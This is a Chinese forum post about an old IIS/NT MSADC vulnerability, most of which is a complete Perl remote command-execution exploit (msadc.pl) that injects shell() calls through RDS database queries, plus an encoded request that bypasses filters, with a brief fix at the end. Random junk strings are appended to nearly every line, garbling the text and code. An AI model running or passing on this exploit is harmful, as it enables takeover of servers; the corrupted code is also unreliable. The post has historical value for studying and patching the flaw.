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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) `qZ@eGZ z  
G B>T3l"  
涉及程序: 3ZvQUH/{W  
Microsoft NT server v{8r46Y~Z)  
/)rv Ndn  
描述: #jg3Ku;Y  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 -cUw}  
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详细: j tqU`|FSQ  
如果你没有时间读详细内容的话,就删除: 1J&hm[3[K  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ~c\2'  
有关的安全问题就没有了。 ;@n/g U  
9A}y^=!`  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 Xj:\B] v]  
'%a:L^a?  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 (D\`:1g  
关于利用ODBC远程漏洞的描述,请参看: [&zSYmDk  
*P`k|-  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm SW HiiF@  
:;Npk9P(N  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 nrM-\'  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 'ztY>KVj  
yPH5/5;,  
这里不再论述。 }q?q)cG  
!{ORFd  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: Ihl]"76q/  
=CaSd|   
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 2 F ~SH  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ,rhNXx  
:r&4/sN}<  
<S0gIg`)  
#将下面这段保存为txt文件,然后: "perl -x 文件名" NF7+Gp6?q  
$@[Mo   
#!perl +V#dJ[,8;.  
# d2g7 ,axi  
# MSADC/RDS 'usage' (aka exploit) script '/X m%S  
# gNh4c{Al9  
# by rain.forest.puppy yQC8Gt8  
# jW}hLjlN  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me h6D1uM"o   
# beta test and find errors! ^5-SL?E  
=z}M(<G  
use Socket; use Getopt::Std; T`Xz*\}Zb  
getopts("e:vd:h:XR", \%args); >~T2MlRux  
MnptC 1N  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; yeV|j\TJI.  
?jnbm'~S  
if (!defined $args{h} && !defined $args{R}) { ?nf4K/IjZ!  
print qq~ }/7rA)_  
Usage: msadc.pl -h <host> { -d <delay> -X -v } KoFWI_(b  
-h <host> = host you want to scan (ip or domain) YRj"]= 5N  
-d <seconds> = delay between calls, default 1 second Wix4se1Ac  
-X = dump Index Server path table, if available @EH@_EwYV  
-v = verbose 85+w\KuEY  
-e = external dictionary file for step 5 ,6wGdaMR  
U#4>GO;A  
Or a -R will resume a command session a!;K+wL >  
1c$c e+n~  
~; exit;} AHLXmQl  
Lx3`.F\mG  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";  L$[1+*  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} f5.Be%  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Vv>hr+e  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); *(nu0  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Bo/i =/7%  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 8ya|eJ]/L  
NHzVA*f  
if (!defined $args{R}){ $ret = &has_msadc; YKa9]Q  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 4o( Q+6m  
+qyx3c+  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" vz)zl2F5sY  
. "cmd /c "; ^i17MvT'  
$in=<STDIN>; chomp $in; #LG<o3An  
$command="cmd /c " . $in ; N\x<'P4q  
P)UpUMt;k  
if (defined $args{R}) {&load; exit;} _(KzjOMt  
KocNJ TB  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; fyv S1_  
&try_btcustmr; @Sz7*p  
, L8(Vo`-  
print "\nStep 2: Trying to make our own DSN..."; Ewo6Q){X  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; vH]2t.\  
R78lV -};Q  
print "\nStep 3: Trying known DSNs..."; ;-kg3fGB1Q  
&known_dsn; alZ83^YN'  
YU1z\pK  
print "\nStep 4: Trying known .mdbs..."; f7 zGz  
&known_mdb; kfy|3KA3m  
5K$d4KT  
if (defined $args{e}){ sHHu<[psM  
print "\nStep 5: Trying dictionary of DSN names..."; vNAQ/Q  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } MNKY J  
Qr[".>+  
print "Sorry Charley...maybe next time?\n"; ]DI%7kw'  
exit; ;vgaFc]  
\B8[UZA.&  
############################################################################## *0%G`Q  
nsi&r  
sub sendraw { # ripped and modded from whisker X1%_a.=VF  
sleep($delay); # it's a DoS on the server! At least on mine... eo4v[V&  
my ($pstr)=@_; p 4lB#  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || `AhTER  
die("Socket problems\n"); 4J2C# Cs  
if(connect(S,pack "SnA4x8",2,80,$target)){ O4,? C)  
select(S); $|=1; NQ\<~a`Eq  
print $pstr; my @in=<S>; :z+l=d:4  
select(STDOUT); close(S); f >\~h,SLL  
return @in; ~ "WN4  
} else { die("Can't connect...\n"); }} ] U[4r9V  
k)S'@>n{u  
############################################################################## }zHG]k,j  
{OW.^UIq^  
sub make_header { # make the HTTP request BE," lX  
my $msadc=<<EOT t8"yAYj  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 CNyV6jb  
User-Agent: ACTIVEDATA `qj24ehc  
Host: $ip c]/&xRd  
Content-Length: $clen +v|]RgyW)  
Connection: Keep-Alive ,a} vx"~  
f15n ~d  
ADCClientVersion:01.06 IL<@UWs6  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 bH_zWk  
5x' ^.$K >  
--!ADM!ROX!YOUR!WORLD! . AX6xc6  
Content-Type: application/x-varg F2mW<REg{  
Content-Length: $reqlen 6 Y}Bza  
etH]-S  
EOT |&rxDf}W  
; $msadc=~s/\n/\r\n/g; (/Dr=D{ `  
return $msadc;} AJ85[~(lX  
-<aN$O  
############################################################################## DsGtc<l%  
-Deqlaf(  
sub make_req { # make the RDS request <qCfw>%2F  
my ($switch, $p1, $p2)=@_; R(DlJ  
my $req=""; my $t1, $t2, $query, $dsn; Z=>#|pW,)  
[xg& `x9,.  
if ($switch==1){ # this is the btcustmr.mdb query .V|o-~c  
$query="Select * from Customers where City=" . make_shell(); J, vEZT<Mt  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 6?KJ"Ai9  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 9Zpd=m8dU  
F]^ZdJ2  
elsif ($switch==2){ # this is general make table query # ,27,#  
$query="create table AZZ (B int, C varchar(10))"; ( T2 \   
$dsn="$p1";} @# &y  
mdukl!_x  
elsif ($switch==3){ # this is general exploit table query f#zm}+,`  
$query="select * from AZZ where C=" . make_shell(); DbvKpM H  
$dsn="$p1";} ^EmI;ks  
M\dZxhQ-l  
elsif ($switch==4){ # attempt to hork file info from index server >^ M=/+<c  
$query="select path from scope()"; y4N=v{EbL  
$dsn="Provider=MSIDXS;";} <>^otb,e$  
lAx^!#~\  
elsif ($switch==5){ # bad query +(J{~A~  
$query="select"; SHP_  
$dsn="$p1";} ER*Et+ >  
y4 ~;H{!  
$t1= make_unicode($query); S%k](\7!  
$t2= make_unicode($dsn); 8zk?:?8%{  
$req = "\x02\x00\x03\x00"; zsha/:b  
$req.= "\x08\x00" . pack ("S1", length($t1)); p>GxSE)  
$req.= "\x00\x00" . $t1 ; =aE!y5  
$req.= "\x08\x00" . pack ("S1", length($t2)); j_HwR9^fd,  
$req.= "\x00\x00" . $t2 ; 8K0@*0  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 5$L=l  
return $req;} W&8)yog.  
cAc>p-y%  
############################################################################## <46fk*  
V<G=pPC'H  
sub make_shell { # this makes the shell() statement $&[}+??  
return "'|shell(\"$command\")|'";} k\wI^D  
@EzO bE{  
############################################################################## *S=zJyAO  
O #S27.  
sub make_unicode { # quick little function to convert to unicode gN/6%,H}  
my ($in)=@_; my $out; 8.4+4Vxh   
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } \*k}RKDwT  
return $out;} eNw9"X}g  
@XFy^?  
############################################################################## b6A]/290x  
*&lNzz5&  
sub rdo_success { # checks for RDO return success (this is kludge) %vFoTu)2  
my (@in) = @_; my $base=content_start(@in); i$!-mYi+Q!  
if($in[$base]=~/multipart\/mixed/){ Kn+m9  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} CP!>V:w%9!  
return 0;} $d _%7xx  
{P@OV1  
############################################################################## COk;z.Kn  
1Ydym2  
sub make_dsn { # this makes a DSN for us 6`Af2Y_  
my @drives=("c","d","e","f"); [<p7'n3x  
print "\nMaking DSN: "; DKxzk~sOM  
foreach $drive (@drives) { XK t">W  
print "$drive: "; tW |K\NL  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . sX$EdIq  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" aL%amL6CX  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ?go+oS^  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ^+20e3 ~Y  
return 0 if $2 eq "404"; # not found/doesn't exist bI?YNt,  
if($2 eq "200") { 3>t^Xu~  
foreach $line (@results) { bhWH  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} WYklS<B[  
} return 0;} ]5}C@W@_  
46cd5SLK  
############################################################################## _mJnhT3  
DHlCus=ic  
sub verify_exists { i-`n5,  
my ($page)=@_; amY\1quD|  
my @results=sendraw("GET $page HTTP/1.0\n\n"); | p"E0av  
return $results[0];} ee|i  
1EvK\  
############################################################################## E Z}c8b  
#- hYjE5  
sub try_btcustmr { {2Jn#&Z29  
my @drives=("c","d","e","f"); D-<9kBZs  
my @dirs=("winnt","winnt35","winnt351","win","windows"); g-Y2U}&  
CZL:&~l1  
foreach $dir (@dirs) { 5s'oVO*hW  
print "$dir -> "; # fun status so you can see progress {q-<1|xj/J  
foreach $drive (@drives) { "Wz#<! .r  
print "$drive: "; # ditto "\9!9U#!  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; d!i#@XZ^  
$reqlenlen=length( "$reqlen" ); vS{zLXg  
$clen= 206 + $reqlenlen + $reqlen; [j]3='2}G  
v8>?,N#  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); a*Oc:$  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} r)G^V&96  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} TsB"<6@!AA  
"/&_B  
############################################################################## |*+f N8  
2HemPth  
sub odbc_error { 8- U1Y  
my (@in)=@_; my $base; Qwm#6{5  
my $base = content_start(@in); D< h+r?  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this hS}d vZa  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; }I1SC7gY  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; RS>;$O_(M  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; v0yaFP#kG  
return $in[$base+4].$in[$base+5].$in[$base+6];} @rO4BTi>O  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; y(!Y N7_A  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . P~5[.6gW  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} )Uv lEG']  
!5;A.f  
############################################################################## jeM/8~^4-  
[8o!X)  
sub verbose { 1b,,uI_  
my ($in)=@_; cx(aMcX6  
return if !$verbose; nf7l}^/UE  
print STDOUT "\n$in\n";} eXqS9`zKr  
d }"Dp  
############################################################################## QKAo}1Pq  
lbCTc,xT  
sub save { Vg0$5@  
my ($p1, $p2, $p3, $p4)=@_; zIyMq3  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; >J]^Rgn>  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; .1[[Y}  
close OUT;} ;;2Yfn'`9  
RvQl{aL  
############################################################################## ;;9W/m~]  
xsPE UK&g  
sub load { oP$l(k  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; J4Ix\r_  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); c<`Z[EY(t  
@p=<IN>; close(IN); -Tw96 dv  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); #Tjv(O[&  
$target= inet_aton($ip) || die("inet_aton problems"); -xc*R%k  
print "Resuming to $ip ..."; B|~tW21  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; {q[l4_  
if($p[1]==1) { `Eijy3>h  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; T w!]N%E  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; >0W:snNK  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); o<hT/ P  
if (rdo_success(@results)){print "Success!\n";} u7oHqo`  
else { print "failed\n"; verbose(odbc_error(@results));}} dsx'l0q 'i  
elsif ($p[1]==3){ VZ`L-P$AF  
if(run_query("$p[3]")){ I?l%RdGW  
print "Success!\n";} else { print "failed\n"; }} Jv|uI1V  
elsif ($p[1]==4){ F3aOKV^  
if(run_query($drvst . "$p[3]")){ 0jlwL  
print "Success!\n"; } else { print "failed\n"; }} hpxqL%r  
exit;} aP%2CP~_P  
rHir> p  
############################################################################## iG\ ]  
dA`.  
sub create_table { D]H@Sx  
my ($in)=@_; ^=H. .pr  
$reqlen=length( make_req(2,$in,"") ) - 28; SxHj3,`#C  
$reqlenlen=length( "$reqlen" ); [/s^(2%  
$clen= 206 + $reqlenlen + $reqlen; vgc #IEx@  
my @results=sendraw(make_header() . make_req(2,$in,"")); B>hC8^.S|w  
return 1 if rdo_success(@results); F ;o ^.  
my $temp= odbc_error(@results); verbose($temp); z"b}V01F#  
return 1 if $temp=~/Table 'AZZ' already exists/; ],lrT0_cT  
return 0;} t(O{IUYM  
`kn 'RZR  
############################################################################## oJcDs-!  
.o(XnY)cgJ  
sub known_dsn { s)=fs#%  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go (8(7:aE $  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", Hl,.6 >F?  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", H8V${&!ho  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); _%M5 T  
7fVlA"x  
foreach $dSn (@dsns) { hP=^JH  
print "."; 6^vMJ82U  
next if (!is_access("DSN=$dSn")); s&<6{AU(id  
if(create_table("DSN=$dSn")){ U;Iqz1S  
print "$dSn successful\n"; S1iF1X(+?X  
if(run_query("DSN=$dSn")){ pZS0;T]W,  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ZeUA  e  
print "Something's borked. Use verbose next time\n";}}} print "\n";} y~.k-b<{[  
6;02_C]\o  
############################################################################## ]wH,534  
`CW I%V  
sub is_access { y<Hka'(%  
my ($in)=@_; @WV}VKm  
$reqlen=length( make_req(5,$in,"") ) - 28; vtvF)jlX  
$reqlenlen=length( "$reqlen" ); "ooq1 0P  
$clen= 206 + $reqlenlen + $reqlen; ionFPc].  
my @results=sendraw(make_header() . make_req(5,$in,"")); Sn I-dXNF  
my $temp= odbc_error(@results); i@=0fHiZQ  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); i`]-rM%J#  
return 0;} 8X6F6RK6,1  
CCCd=s.  
############################################################################## W 6_~.m"b  
0Q81$% @<  
sub run_query { XYJ7k7zc+Y  
my ($in)=@_; u!=9.3  
$reqlen=length( make_req(3,$in,"") ) - 28; O "jX|5  
$reqlenlen=length( "$reqlen" ); U*G8 }W  
$clen= 206 + $reqlenlen + $reqlen; BO#XQ,  
my @results=sendraw(make_header() . make_req(3,$in,"")); C@{#OOa  
return 1 if rdo_success(@results); |i)7j G<  
my $temp= odbc_error(@results); verbose($temp); LciSQ R!  
return 0;} 3ErW3Ac Ou  
I<v1S  
############################################################################## mE`O G8  
?#OGH`ZvkI  
sub known_mdb { pvCf4pf~  
my @drives=("c","d","e","f","g"); T6gugDQ~.  
my @dirs=("winnt","winnt35","winnt351","win","windows"); }:5_vH0  
my $dir, $drive, $mdb; Pc+8CuN?  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; mVJW"*}8  
DAZzc :1Aj  
# this is sparse, because I don't know of many g_kR5Wxpt  
my @sysmdbs=( "\\catroot\\icatalog.mdb", %\5 wHT+)  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 3#{{+5G  
"\\system32\\certmdb.mdb", 83 O+`f  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% {u3eel  
lzJ[`i.  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", "pP5;*^f  
"\\cfusion\\cfapps\\forums\\forums_.mdb", V-#OiMWa~  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", AqPE.mf  
"\\cfusion\\cfapps\\security\\realm_.mdb", T7vSp<i/  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", YL(7l|^!  
"\\cfusion\\database\\cfexamples.mdb", 85>WK+=  
"\\cfusion\\database\\cfsnippets.mdb", i%1ny`Q  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 5Ocd2T'  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", +(v<_#wR-  
"\\cfusion\\brighttiger\\database\\cleam.mdb", qH3<,s*  
"\\cfusion\\database\\smpolicy.mdb", G+k[.  
"\\cfusion\\database\cypress.mdb", mN5`Fct*A>  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",  .AEOf0t  
"\\website\\cgi-win\\dbsample.mdb", ZG=B'4W  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 'S_kD! BO  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" wz!a;]agg  
); #these are just .~ )[>  
foreach $drive (@drives) { x$Gu)S  
foreach $dir (@dirs){ >Oary  
foreach $mdb (@sysmdbs) { c,cc avv{I  
print "."; t`PA85.|d  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ~i`@  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ~VNN  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 64qm  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; W/z\j/Rgc  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ?\_N*NEtK  
'ZyHp=RN)  
foreach $drive (@drives) { 4>q^W$  
foreach $mdb (@mdbs) { PV_E3,RY  
print "."; q1:Y]Rbe  
if(create_table($drv . $drive . $dir . $mdb)){ G~,K$z/-l  
print "\n" . $drive . $dir . $mdb . " successful\n"; (~YFm"S  
if(run_query($drv . $drive . $dir . $mdb)){ _{.=zv|3  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 5hNjJqu  
} else { print "Something's borked. Use verbose next time\n"; }}}} kbqG)  
} t;[L-|^  
RR2Q  
############################################################################## k=t\  
5F@7A2ZR  
sub hork_idx { )XB31^  
print "\nAttempting to dump Index Server tables...\n"; O]ZP- WG  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ' 0iXx   
$reqlen=length( make_req(4,"","") ) - 28; nWTo$*>W  
$reqlenlen=length( "$reqlen" ); HOWm""IkB  
$clen= 206 + $reqlenlen + $reqlen; S@AHI!"h=V  
my @results=sendraw2(make_header() . make_req(4,"","")); R5`"~qP-  
if (rdo_success(@results)){ "qEi$a&]  
my $max=@results; my $c; my %d; }*WNrS">S  
for($c=19; $c<$max; $c++){ ftVA  
$results[$c]=~s/\x00//g; %bM^/7  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; rlj @ '  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; }E=:k&IDPB  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; D`nW9i7  
$d{"$1$2"}="";} Yg 8AMi  
foreach $c (keys %d){ print "$c\n"; } 2ckAJcpEb/  
} else {print "Index server doesn't seem to be installed.\n"; }} Of)EBa<5^  
v 4@=>L  
############################################################################## 1<hj3  
8&15k A  
sub dsn_dict { b9M.p*!  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Q'f!392|  
while(<IN>){ 1WGcv O)<  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; kcy?;b;z  
next if (!is_access("DSN=$dSn")); &^ECQ  
if(create_table("DSN=$dSn")){ X[L6Av  
print "$dSn successful\n"; +r7uIwi$@  
if(run_query("DSN=$dSn")){ ]~my<3j}or  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { gu+c7qe  
print "Something's borked. Use verbose next time\n";}}} =NyN.^bwT  
print "\n"; close(IN);} w7b?ve3-  
\Mk;Y  
############################################################################## 't2dP,u<-  
\3P.GS{l  
sub sendraw2 { # ripped and modded from whisker Da#|}m0>  
sleep($delay); # it's a DoS on the server! At least on mine... (*63G4Nz\  
my ($pstr)=@_; W~15[r0  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || D-)jmz>R  
die("Socket problems\n"); Lod$&k@@  
if(connect(S,pack "SnA4x8",2,80,$target)){ TH_Vw,)  
print "Connected. Getting data"; !FhK<#  
open(OUT,">raw.out"); my @in; Cm:&n|  
select(S); $|=1; print $pstr; lO482l_t  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ,vBi)H  
close(OUT); select(STDOUT); close(S); return @in; zk+&5d 4(  
} else { die("Can't connect...\n"); }} [aM_.[bf  
AXBv']Y  
############################################################################## P0m;AqS#R  
]h0Fv-[A  
sub content_start { # this will take in the server headers b6Jv|1w'  
my (@in)=@_; my $c; z/bJDSQ  
for ($c=1;$c<500;$c++) { #(o 'G4T  
if($in[$c] =~/^\x0d\x0a/){ !!Tk'=t9"3  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 0 S3~IeJ  
else { return $c+1; }}} NB]T~_?]*  
return -1;} # it should never get here actually ^%X,Rml<e  
RX",Zt$q  
############################################################################## \~H; Wt5  
<v<TsEI  
sub funky { nQ\ +Za==  
my (@in)=@_; my $error=odbc_error(@in); lQs|B '  
if($error=~/ADO could not find the specified provider/){ bP;cDQ(g  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 8i!~w 7z  
exit;} uq;,h46ki  
if($error=~/A Handler is required/){ H \ $04vkR  
print "\nServer has custom handler filters (they most likely are patched)\n"; vF, !8e'v  
exit;} ?#@JH  
if($error=~/specified Handler has denied Access/){ D:Zpls.  
print "\nServer has custom handler filters (they most likely are patched)\n"; TGxspmY6  
exit;}} ^H'zS3S  
Ro+/=*ql~  
############################################################################## |]7z  
sY?pp '}a  
sub has_msadc { owA3>E5t&  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ZoJ:4uo N`  
my $base=content_start(@results); f o])=KM  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); g`KVF"8  
return 0;} *#j+,q!X  
~8'4/wh+8  
######################## K~nk:}3Ui  
7&G[mOx0  
bK `'zi  
解决方案: Ya] qo]  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll b&uo^G,  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 _%Ay\4H^\  
pfW0)V1t  
拿出来充数 哈哈
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